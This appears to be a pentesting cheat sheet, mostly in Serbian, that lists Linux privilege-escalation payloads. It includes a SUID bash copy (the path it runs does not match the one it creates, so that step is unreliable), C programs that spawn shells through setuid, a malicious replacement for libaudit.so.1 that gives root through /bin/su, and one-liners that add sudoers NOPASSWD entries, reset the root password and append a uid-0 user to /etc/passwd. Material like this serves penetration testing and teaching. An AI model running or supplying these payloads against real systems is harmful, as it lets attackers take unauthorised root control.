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# Payloads to execute
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## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```
```c
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
```
```c
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```
## Prepisivanje fajla za eskalaciju privilegija
### Uobičajeni fajlovi
- Dodajte korisnika sa lozinkom u _/etc/passwd_
- Promenite lozinku unutar _/etc/shadow_
- Dodajte korisnika u sudoers u _/etc/sudoers_
- Zloupotreba dockera kroz docker socket, obično u _/run/docker.sock_ ili _/var/run/docker.sock_
### Prepisivanje biblioteke
Proverite biblioteku koju koristi neki binarni fajl, u ovom slučaju `/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
U ovom slučaju, pokušajmo da se pretvaramo kao `/lib/x86_64-linux-gnu/libaudit.so.1`.\
Dakle, proverite funkcije ove biblioteke koje koristi **`su`** binarni fajl:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
Simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` i `audit_fd` verovatno potiču iz biblioteke libaudit.so.1. Pošto će libaudit.so.1 biti prepisana zlonamernom deljenom bibliotekom, ovi simboli bi trebali biti prisutni u novoj deljenoj biblioteci, inače program neće moći da pronađe simbol i izaći će.
```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
```
Sada, jednostavno pozivajući **`/bin/su`** dobićete shell kao root.
## Skripte
Možete li naterati root da izvrši nešto?
### **www-data u sudoers**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Promena root lozinke**
```bash
echo "root:hacked" | chpasswd
```
### Dodajte novog root korisnika u /etc/passwd
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
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